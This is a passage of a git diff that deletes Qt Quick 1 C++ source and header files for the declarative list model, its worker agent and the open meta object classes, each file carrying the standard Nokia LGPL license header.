node->values.at(ii).toString(); - } - } - - for (QHash::ConstIterator iter = node->properties.begin(); iter != node->properties.end(); ++iter) { - qWarning().nospace() << indent << "Property " << iter.key() << ':'; - dump(iter.value(), ind + 1); - } -} - -ModelObject_1::ModelObject_1(ModelNode *node, NestedListModel_1 *model, QScriptEngine *seng) - : m_model(model), - m_node(node), - m_meta(new ModelNodeMetaObject_1(seng, this)) -{ -} - -void ModelObject_1::setValue(const QByteArray &name, const QVariant &val) -{ - m_meta->setValue(name, val); - //setProperty(name.constData(), val); -} - -void ModelObject_1::setNodeUpdatesEnabled(bool enable) -{ - m_meta->m_enabled = enable; -} - - -ModelNodeMetaObject_1::ModelNodeMetaObject_1(QScriptEngine *seng, ModelObject_1 *object) - : QDeclarative1OpenMetaObject(object), - m_enabled(false), - m_seng(seng), - m_obj(object) -{ -} - -void ModelNodeMetaObject_1::propertyWritten(int index) -{ - if (!m_enabled) - return; - - QString propName = QString::fromUtf8(name(index)); - QVariant value = operator[](index); - - QScriptValue sv = m_seng->newObject(); - sv.setProperty(propName, m_seng->newVariant(value)); - bool changed = m_obj->m_node->setObjectValue(sv, false); - if (changed) - m_obj->m_node->changedProperty(propName); -} - - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativelistmodel_p.h b/src/qtquick1/util/qdeclarativelistmodel_p.h deleted file mode 100644 index c2b433f079..0000000000 --- a/src/qtquick1/util/qdeclarativelistmodel_p.h +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELISTMODEL_H -#define QDECLARATIVELISTMODEL_H - -#include -#include - -#include -#include -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class FlatListModel_1; -class NestedListModel_1; -class QDeclarative1ListModelWorkerAgent; -struct ModelNode; -class FlatListScriptClass_1; -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarative1ListModel : public QListModelInterface -{ - Q_OBJECT - Q_PROPERTY(int count READ count NOTIFY countChanged) - -public: - QDeclarative1ListModel(QObject *parent=0); - ~QDeclarative1ListModel(); - - virtual QList roles() const; - virtual QString toString(int role) const; - virtual int count() const; - virtual QVariant data(int index, int role) const; - - Q_INVOKABLE void clear(); - Q_INVOKABLE void remove(int index); - Q_INVOKABLE void append(const QScriptValue&); - Q_INVOKABLE void insert(int index, const QScriptValue&); - Q_INVOKABLE QScriptValue get(int index) const; - Q_INVOKABLE void set(int index, const QScriptValue&); - Q_INVOKABLE void setProperty(int index, const QString& property, const QVariant& value); - Q_INVOKABLE void move(int from, int to, int count); - Q_INVOKABLE void sync(); - - QDeclarative1ListModelWorkerAgent *agent(); - -Q_SIGNALS: - void countChanged(); - -private: - friend class QDeclarative1ListModelParser; - friend class QDeclarative1ListModelWorkerAgent; - friend class FlatListModel_1; - friend class FlatListScriptClass_1; - friend struct ModelNode; - - // Constructs a flat list model for a worker agent - QDeclarative1ListModel(const QDeclarative1ListModel *orig, QDeclarative1ListModelWorkerAgent *parent); - - void set(int index, const QScriptValue&, QList *roles); - void setProperty(int index, const QString& property, const QVariant& value, QList *roles); - - bool flatten(); - bool inWorkerThread() const; - - inline bool canMove(int from, int to, int n) const { return !(from+n > count() || to+n > count() || from < 0 || to < 0 || n < 0); } - - QDeclarative1ListModelWorkerAgent *m_agent; - NestedListModel_1 *m_nested; - FlatListModel_1 *m_flat; -}; - -// ### FIXME -class QDeclarative1ListElement : public QObject -{ -Q_OBJECT -}; - -class QDeclarative1ListModelParser : public QDeclarativeCustomParser -{ -public: - QByteArray compile(const QList &); - void setCustomData(QObject *, const QByteArray &); - -private: - struct ListInstruction - { - enum { Push, Pop, Value, Set } type; - int dataIdx; - }; - struct ListModelData - { - int dataOffset; - int instrCount; - ListInstruction *instructions() const; - }; - bool compileProperty(const QDeclarativeCustomParserProperty &prop, QList &instr, QByteArray &data); - - bool definesEmptyList(const QString &); - - QByteArray listElementTypeName; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1ListModel) -QML_DECLARE_TYPE(QDeclarative1ListElement) - -QT_END_HEADER - -#endif // QDECLARATIVELISTMODEL_H diff --git a/src/qtquick1/util/qdeclarativelistmodel_p_p.h b/src/qtquick1/util/qdeclarativelistmodel_p_p.h deleted file mode 100644 index 6cf452dfe3..0000000000 --- a/src/qtquick1/util/qdeclarativelistmodel_p_p.h +++ /dev/null @@ -1,280 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELISTMODEL_P_P_H -#define QDECLARATIVELISTMODEL_P_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include -#include "QtQuick1/private/qdeclarativelistmodel_p.h" -#include "QtQuick1/private/qdeclarativeopenmetaobject_p.h" -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QScriptEngine; - - -class QDeclarative1OpenMetaObject; -class QDeclarative1ListModelWorkerAgent; -struct ModelNode; -class FlatListScriptClass_1; -class FlatNodeData_1; - -class FlatListModel_1 -{ -public: - FlatListModel_1(QDeclarative1ListModel *base); - ~FlatListModel_1(); - - QVariant data(int index, int role) const; - - QList roles() const; - QString toString(int role) const; - - int count() const; - void clear(); - void remove(int index); - bool insert(int index, const QScriptValue&); - QScriptValue get(int index) const; - void set(int index, const QScriptValue&, QList *roles); - void setProperty(int index, const QString& property, const QVariant& value, QList *roles); - void move(int from, int to, int count); - -private: - friend class QDeclarative1ListModelWorkerAgent; - friend class QDeclarative1ListModel; - friend class FlatListScriptClass_1; - friend class FlatNodeData_1; - - bool addValue(const QScriptValue &value, QHash *row, QList *roles); - void insertedNode(int index); - void removedNode(int index); - void moveNodes(int from, int to, int n); - - QScriptEngine *m_scriptEngine; - QHash m_roles; - QHash m_strings; - QList > m_values; - QDeclarative1ListModel *m_listModel; - - FlatListScriptClass_1 *m_scriptClass; - QList m_nodeData; - QDeclarative1ListModelWorkerAgent *m_parentAgent; -}; - - -/* - Created when get() is called on a FlatListModel_1. This allows changes to the - object returned by get() to be tracked, and passed onto the model. -*/ -class FlatListScriptClass_1 : public QScriptDeclarativeClass -{ -public: - FlatListScriptClass_1(FlatListModel_1 *model, QScriptEngine *seng); - - Value property(Object *, const Identifier &); - void setProperty(Object *, const Identifier &name, const QScriptValue &); - QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, QScriptClass::QueryFlags flags); - bool compare(Object *, Object *); - -private: - FlatListModel_1 *m_model; -}; - -/* - FlatNodeData_1 and FlatNodeObjectData allow objects returned by get() to still - point to the correct list index if move(), insert() or remove() are called. -*/ -struct FlatNodeObjectData; -class FlatNodeData_1 -{ -public: - FlatNodeData_1(int i) - : index(i) {} - - ~FlatNodeData_1(); - - void addData(FlatNodeObjectData *data); - void removeData(FlatNodeObjectData *data); - - int index; - -private: - QSet objects; -}; - -struct FlatNodeObjectData : public QScriptDeclarativeClass::Object -{ - FlatNodeObjectData(FlatNodeData_1 *data) : nodeData(data) { - nodeData->addData(this); - } - - ~FlatNodeObjectData() { - if (nodeData) - nodeData->removeData(this); - } - - FlatNodeData_1 *nodeData; -}; - - - -class NestedListModel_1 -{ -public: - NestedListModel_1(QDeclarative1ListModel *base); - ~NestedListModel_1(); - - QHash data(int index, const QList &roles, bool *hasNested = 0) const; - QVariant data(int index, int role) const; - - QList roles() const; - QString toString(int role) const; - - int count() const; - void clear(); - void remove(int index); - bool insert(int index, const QScriptValue&); - QScriptValue get(int index) const; - void set(int index, const QScriptValue&, QList *roles); - void setProperty(int index, const QString& property, const QVariant& value, QList *roles); - void move(int from, int to, int count); - - QVariant valueForNode(ModelNode *, bool *hasNested = 0) const; - void checkRoles() const; - - ModelNode *_root; - bool m_ownsRoot; - QDeclarative1ListModel *m_listModel; - -private: - friend struct ModelNode; - mutable QStringList roleStrings; - mutable bool _rolesOk; -}; - - -class ModelNodeMetaObject_1; -class ModelObject_1 : public QObject -{ - Q_OBJECT -public: - ModelObject_1(ModelNode *node, NestedListModel_1 *model, QScriptEngine *seng); - void setValue(const QByteArray &name, const QVariant &val); - void setNodeUpdatesEnabled(bool enable); - - NestedListModel_1 *m_model; - ModelNode *m_node; - -private: - ModelNodeMetaObject_1 *m_meta; -}; - -class ModelNodeMetaObject_1 : public QDeclarative1OpenMetaObject -{ -public: - ModelNodeMetaObject_1(QScriptEngine *seng, ModelObject_1 *object); - - bool m_enabled; - -protected: - void propertyWritten(int index); - -private: - QScriptEngine *m_seng; - ModelObject_1 *m_obj; -}; - - -/* - A ModelNode is created for each item in a NestedListModel_1. -*/ -struct ModelNode -{ - ModelNode(NestedListModel_1 *model); - ~ModelNode(); - - QList values; - QHash properties; - - void clear(); - - QDeclarative1ListModel *model(const NestedListModel_1 *model); - ModelObject_1 *object(const NestedListModel_1 *model); - - bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true); - void setListValue(const QScriptValue& valuelist); - bool setProperty(const QString& prop, const QVariant& val); - void changedProperty(const QString &name) const; - void updateListIndexes(); - static void dump(ModelNode *node, int ind); - - QDeclarative1ListModel *modelCache; - ModelObject_1 *objectCache; - bool isArray; - - NestedListModel_1 *m_model; - int listIndex; // only used for top-level nodes within a list -}; - -QT_END_NAMESPACE - -Q_DECLARE_METATYPE(ModelNode *) - -QT_END_HEADER - -#endif // QDECLARATIVELISTMODEL_P_P_H - diff --git a/src/qtquick1/util/qdeclarativelistmodelworkeragent.cpp b/src/qtquick1/util/qdeclarativelistmodelworkeragent.cpp deleted file mode 100644 index 5dc52ec7f7..0000000000 --- a/src/qtquick1/util/qdeclarativelistmodelworkeragent.cpp +++ /dev/null @@ -1,282 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativelistmodelworkeragent_p.h" -#include "QtQuick1/private/qdeclarativelistmodel_p_p.h" -#include -#include -#include - -#include -#include -#include - - -QT_BEGIN_NAMESPACE - - - - -void QDeclarative1ListModelWorkerAgent::Data::clearChange() -{ - changes.clear(); -} - -void QDeclarative1ListModelWorkerAgent::Data::insertChange(int index, int count) -{ - Change c = { Change::Inserted, index, count, 0, QList() }; - changes << c; -} - -void QDeclarative1ListModelWorkerAgent::Data::removeChange(int index, int count) -{ - Change c = { Change::Removed, index, count, 0, QList() }; - changes << c; -} - -void QDeclarative1ListModelWorkerAgent::Data::moveChange(int index, int count, int to) -{ - Change c = { Change::Moved, index, count, to, QList() }; - changes << c; -} - -void QDeclarative1ListModelWorkerAgent::Data::changedChange(int index, int count, const QList &roles) -{ - Change c = { Change::Changed, index, count, 0, roles }; - changes << c; -} - -QDeclarative1ListModelWorkerAgent::QDeclarative1ListModelWorkerAgent(QDeclarative1ListModel *model) - : m_engine(0), - m_ref(1), - m_orig(model), - m_copy(new QDeclarative1ListModel(model, this)) -{ -} - -QDeclarative1ListModelWorkerAgent::~QDeclarative1ListModelWorkerAgent() -{ -} - -void QDeclarative1ListModelWorkerAgent::setScriptEngine(QScriptEngine *eng) -{ - m_engine = eng; - if (m_copy->m_flat) - m_copy->m_flat->m_scriptEngine = eng; -} - -QScriptEngine *QDeclarative1ListModelWorkerAgent::scriptEngine() const -{ - return m_engine; -} - -void QDeclarative1ListModelWorkerAgent::addref() -{ - m_ref.ref(); -} - -void QDeclarative1ListModelWorkerAgent::release() -{ - bool del = !m_ref.deref(); - - if (del) - delete this; -} - -int QDeclarative1ListModelWorkerAgent::count() const -{ - return m_copy->count(); -} - -void QDeclarative1ListModelWorkerAgent::clear() -{ - data.clearChange(); - data.removeChange(0, m_copy->count()); - m_copy->clear(); -} - -void QDeclarative1ListModelWorkerAgent::remove(int index) -{ - int count = m_copy->count(); - m_copy->remove(index); - - if (m_copy->count() != count) - data.removeChange(index, 1); -} - -void QDeclarative1ListModelWorkerAgent::append(const QScriptValue &value) -{ - int count = m_copy->count(); - m_copy->append(value); - - if (m_copy->count() != count) - data.insertChange(m_copy->count() - 1, 1); -} - -void QDeclarative1ListModelWorkerAgent::insert(int index, const QScriptValue &value) -{ - int count = m_copy->count(); - m_copy->insert(index, value); - - if (m_copy->count() != count) - data.insertChange(index, 1); -} - -QScriptValue QDeclarative1ListModelWorkerAgent::get(int index) const -{ - return m_copy->get(index); -} - -void QDeclarative1ListModelWorkerAgent::set(int index, const QScriptValue &value) -{ - QList roles; - m_copy->set(index, value, &roles); - if (!roles.isEmpty()) - data.changedChange(index, 1, roles); -} - -void QDeclarative1ListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value) -{ - QList roles; - m_copy->setProperty(index, property, value, &roles); - if (!roles.isEmpty()) - data.changedChange(index, 1, roles); -} - -void QDeclarative1ListModelWorkerAgent::move(int from, int to, int count) -{ - m_copy->move(from, to, count); - data.moveChange(from, to, count); -} - -void QDeclarative1ListModelWorkerAgent::sync() -{ - Sync *s = new Sync; - s->data = data; - s->list = m_copy; - data.changes.clear(); - - mutex.lock(); - QCoreApplication::postEvent(this, s); - syncDone.wait(&mutex); - mutex.unlock(); -} - -void QDeclarative1ListModelWorkerAgent::changedData(int index, int count, const QList &roles) -{ - data.changedChange(index, count, roles); -} - -bool QDeclarative1ListModelWorkerAgent::event(QEvent *e) -{ - if (e->type() == QEvent::User) { - QMutexLocker locker(&mutex); - Sync *s = static_cast(e); - - const QList &changes = s->data.changes; - - if (m_copy) { - bool cc = m_orig->count() != s->list->count(); - - FlatListModel_1 *orig = m_orig->m_flat; - FlatListModel_1 *copy = s->list->m_flat; - if (!orig || !copy) { - syncDone.wakeAll(); - return QObject::event(e); - } - - orig->m_roles = copy->m_roles; - orig->m_strings = copy->m_strings; - orig->m_values = copy->m_values; - - // update the orig->m_nodeData list - for (int ii = 0; ii < changes.count(); ++ii) { - const Change &change = changes.at(ii); - switch (change.type) { - case Change::Inserted: - orig->insertedNode(change.index); - break; - case Change::Removed: - orig->removedNode(change.index); - break; - case Change::Moved: - orig->moveNodes(change.index, change.to, change.count); - break; - case Change::Changed: - break; - } - } - - syncDone.wakeAll(); - locker.unlock(); - - for (int ii = 0; ii < changes.count(); ++ii) { - const Change &change = changes.at(ii); - switch (change.type) { - case Change::Inserted: - emit m_orig->itemsInserted(change.index, change.count); - break; - case Change::Removed: - emit m_orig->itemsRemoved(change.index, change.count); - break; - case Change::Moved: - emit m_orig->itemsMoved(change.index, change.to, change.count); - break; - case Change::Changed: - emit m_orig->itemsChanged(change.index, change.count, change.roles); - break; - } - } - - if (cc) - emit m_orig->countChanged(); - } else { - syncDone.wakeAll(); - } - } - - return QObject::event(e); -} - - - -QT_END_NAMESPACE - diff --git a/src/qtquick1/util/qdeclarativelistmodelworkeragent_p.h b/src/qtquick1/util/qdeclarativelistmodelworkeragent_p.h deleted file mode 100644 index ac7500c638..0000000000 --- a/src/qtquick1/util/qdeclarativelistmodelworkeragent_p.h +++ /dev/null @@ -1,161 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELISTMODELWORKERAGENT_P_H -#define QDECLARATIVELISTMODELWORKERAGENT_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1ListModel; -class FlatListScriptClass_1; - -class QDeclarative1ListModelWorkerAgent : public QObject -{ - Q_OBJECT - Q_PROPERTY(int count READ count) - -public: - QDeclarative1ListModelWorkerAgent(QDeclarative1ListModel *); - ~QDeclarative1ListModelWorkerAgent(); - - void setScriptEngine(QScriptEngine *eng); - QScriptEngine *scriptEngine() const; - - void addref(); - void release(); - - int count() const; - - Q_INVOKABLE void clear(); - Q_INVOKABLE void remove(int index); - Q_INVOKABLE void append(const QScriptValue &); - Q_INVOKABLE void insert(int index, const QScriptValue&); - Q_INVOKABLE QScriptValue get(int index) const; - Q_INVOKABLE void set(int index, const QScriptValue &); - Q_INVOKABLE void setProperty(int index, const QString& property, const QVariant& value); - Q_INVOKABLE void move(int from, int to, int count); - Q_INVOKABLE void sync(); - - struct VariantRef - { - VariantRef() : a(0) {} - VariantRef(const VariantRef &r) : a(r.a) { if (a) a->addref(); } - VariantRef(QDeclarative1ListModelWorkerAgent *_a) : a(_a) { if (a) a->addref(); } - ~VariantRef() { if (a) a->release(); } - - VariantRef &operator=(const VariantRef &o) { - if (o.a) o.a->addref(); - if (a) a->release(); a = o.a; - return *this; - } - - QDeclarative1ListModelWorkerAgent *a; - }; -protected: - virtual bool event(QEvent *); - -private: - friend class QDeclarative1WorkerScriptEnginePrivate; - friend class FlatListScriptClass_1; - QScriptEngine *m_engine; - - struct Change { - enum { Inserted, Removed, Moved, Changed } type; - int index; // Inserted/Removed/Moved/Changed - int count; // Inserted/Removed/Moved/Changed - int to; // Moved - QList roles; - }; - - struct Data { - QList changes; - - void clearChange(); - void insertChange(int index, int count); - void removeChange(int index, int count); - void moveChange(int index, int count, int to); - void changedChange(int index, int count, const QList &roles); - }; - Data data; - - struct Sync : public QEvent { - Sync() : QEvent(QEvent::User) {} - Data data; - QDeclarative1ListModel *list; - }; - - void changedData(int index, int count, const QList &roles); - - QAtomicInt m_ref; - QDeclarative1ListModel *m_orig; - QDeclarative1ListModel *m_copy; - QMutex mutex; - QWaitCondition syncDone; -}; - -QT_END_NAMESPACE - -Q_DECLARE_METATYPE(QDeclarative1ListModelWorkerAgent::VariantRef) - -QT_END_HEADER - -#endif // QDECLARATIVEWORKERSCRIPT_P_H - diff --git a/src/qtquick1/util/qdeclarativeopenmetaobject.cpp b/src/qtquick1/util/qdeclarativeopenmetaobject.cpp deleted file mode 100644 index 60c3f8eef9..0000000000 --- a/src/qtquick1/util/qdeclarativeopenmetaobject.cpp +++ /dev/null @@ -1,384 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeopenmetaobject_p.h" -#include "QtDeclarative/private/qdeclarativepropertycache_p.h" -#include "QtDeclarative/private/qdeclarativedata_p.h" -#include -#include - -QT_BEGIN_NAMESPACE - - - - -class QDeclarative1OpenMetaObjectTypePrivate -{ -public: - QDeclarative1OpenMetaObjectTypePrivate() : mem(0), cache(0), engine(0) {} - - void init(const QMetaObject *metaObj); - - int propertyOffset; - int signalOffset; - QHash names; - QMetaObjectBuilder mob; - QMetaObject *mem; - QDeclarativePropertyCache *cache; - QDeclarativeEngine *engine; - QSet referers; -}; - -QDeclarative1OpenMetaObjectType::QDeclarative1OpenMetaObjectType(const QMetaObject *base, QDeclarativeEngine *engine) - : d(new QDeclarative1OpenMetaObjectTypePrivate) -{ - d->engine = engine; - d->init(base); -} - -QDeclarative1OpenMetaObjectType::~QDeclarative1OpenMetaObjectType() -{ - if (d->mem) - free(d->mem); - if (d->cache) - d->cache->release(); - delete d; -} - - -int QDeclarative1OpenMetaObjectType::propertyOffset() const -{ - return d->propertyOffset; -} - -int QDeclarative1OpenMetaObjectType::signalOffset() const -{ - return d->signalOffset; -} - -int QDeclarative1OpenMetaObjectType::createProperty(const QByteArray &name) -{ - int id = d->mob.propertyCount(); - d->mob.addSignal("__" + QByteArray::number(id) + "()"); - QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id); - propertyCreated(id, build); - free(d->mem); - d->mem = d->mob.toMetaObject(); - d->names.insert(name, id); - QSet::iterator it = d->referers.begin(); - while (it != d->referers.end()) { - QDeclarative1OpenMetaObject *omo = *it; - *static_cast(omo) = *d->mem; - if (d->cache) - d->cache->update(d->engine, omo); - ++it; - } - - return d->propertyOffset + id; -} - -void QDeclarative1OpenMetaObjectType::propertyCreated(int id, QMetaPropertyBuilder &builder) -{ - if (d->referers.count()) - (*d->referers.begin())->propertyCreated(id, builder); -} - -void QDeclarative1OpenMetaObjectTypePrivate::init(const QMetaObject *metaObj) -{ - if (!mem) { - mob.setSuperClass(metaObj); - mob.setClassName(metaObj->className()); - mob.setFlags(QMetaObjectBuilder::DynamicMetaObject); - - mem = mob.toMetaObject(); - - propertyOffset = mem->propertyOffset(); - signalOffset = mem->methodOffset(); - } -} - -//---------------------------------------------------------------------------- - -class QDeclarative1OpenMetaObjectPrivate -{ -public: - QDeclarative1OpenMetaObjectPrivate(QDeclarative1OpenMetaObject *_q) - : q(_q), parent(0), type(0), cacheProperties(false) {} - - inline QVariant &getData(int idx) { - while (data.count() <= idx) - data << QPair(QVariant(), false); - QPair &prop = data[idx]; - if (!prop.second) { - prop.first = q->initialValue(idx); - prop.second = true; - } - return prop.first; - } - - inline void writeData(int idx, const QVariant &value) { - while (data.count() <= idx) - data << QPair(QVariant(), false); - QPair &prop = data[idx]; - prop.first = value; - prop.second = true; - } - - inline bool hasData(int idx) const { - if (idx >= data.count()) - return false; - return data[idx].second; - } - - bool autoCreate; - QDeclarative1OpenMetaObject *q; - QAbstractDynamicMetaObject *parent; - QList > data; - QObject *object; - QDeclarative1OpenMetaObjectType *type; - bool cacheProperties; -}; - -QDeclarative1OpenMetaObject::QDeclarative1OpenMetaObject(QObject *obj, bool automatic) -: d(new QDeclarative1OpenMetaObjectPrivate(this)) -{ - d->autoCreate = automatic; - d->object = obj; - - d->type = new QDeclarative1OpenMetaObjectType(obj->metaObject(), 0); - d->type->d->referers.insert(this); - - QObjectPrivate *op = QObjectPrivate::get(obj); - d->parent = static_cast(op->metaObject); - *static_cast(this) = *d->type->d->mem; - op->metaObject = this; -} - -QDeclarative1OpenMetaObject::QDeclarative1OpenMetaObject(QObject *obj, QDeclarative1OpenMetaObjectType *type, bool automatic) -: d(new QDeclarative1OpenMetaObjectPrivate(this)) -{ - d->autoCreate = automatic; - d->object = obj; - - d->type = type; - d->type->addref(); - d->type->d->referers.insert(this); - - QObjectPrivate *op = QObjectPrivate::get(obj); - d->parent = static_cast(op->metaObject); - *static_cast(this) = *d->type->d->mem; - op->metaObject = this; -} - -QDeclarative1OpenMetaObject::~QDeclarative1OpenMetaObject() -{ - if (d->parent) - delete d->parent; - d->type->d->referers.remove(this); - d->type->release(); - delete d; -} - -QDeclarative1OpenMetaObjectType *QDeclarative1OpenMetaObject::type() const -{ - return d->type; -} - -int QDeclarative1OpenMetaObject::metaCall(QMetaObject::Call c, int id, void **a) -{ - if (( c == QMetaObject::ReadProperty || c == QMetaObject::WriteProperty) - && id >= d->type->d->propertyOffset) { - int propId = id - d->type->d->propertyOffset; - if (c == QMetaObject::ReadProperty) { - propertyRead(propId); - *reinterpret_cast(a[0]) = d->getData(propId); - } else if (c == QMetaObject::WriteProperty) { - if (propId <= d->data.count() || d->data[propId].first != *reinterpret_cast(a[0])) { - propertyWrite(propId); - d->writeData(propId, *reinterpret_cast(a[0])); - propertyWritten(propId); - activate(d->object, d->type->d->signalOffset + propId, 0); - } - } - return -1; - } else { - if (d->parent) - return d->parent->metaCall(c, id, a); - else - return d->object->qt_metacall(c, id, a); - } -} - -QAbstractDynamicMetaObject *QDeclarative1OpenMetaObject::parent() const -{ - return d->parent; -} - -QVariant QDeclarative1OpenMetaObject::value(int id) const -{ - return d->getData(id); -} - -void QDeclarative1OpenMetaObject::setValue(int id, const QVariant &value) -{ - d->writeData(id, value); - activate(d->object, id + d->type->d->signalOffset, 0); -} - -QVariant QDeclarative1OpenMetaObject::value(const QByteArray &name) const -{ - QHash::ConstIterator iter = d->type->d->names.find(name); - if (iter == d->type->d->names.end()) - return QVariant(); - - return d->getData(*iter); -} - -QVariant &QDeclarative1OpenMetaObject::operator[](const QByteArray &name) -{ - QHash::ConstIterator iter = d->type->d->names.find(name); - Q_ASSERT(iter != d->type->d->names.end()); - - return d->getData(*iter); -} - -QVariant &QDeclarative1OpenMetaObject::operator[](int id) -{ - return d->getData(id); -} - -void QDeclarative1OpenMetaObject::setValue(const QByteArray &name, const QVariant &val) -{ - QHash::ConstIterator iter = d->type->d->names.find(name); - - int id = -1; - if (iter == d->type->d->names.end()) 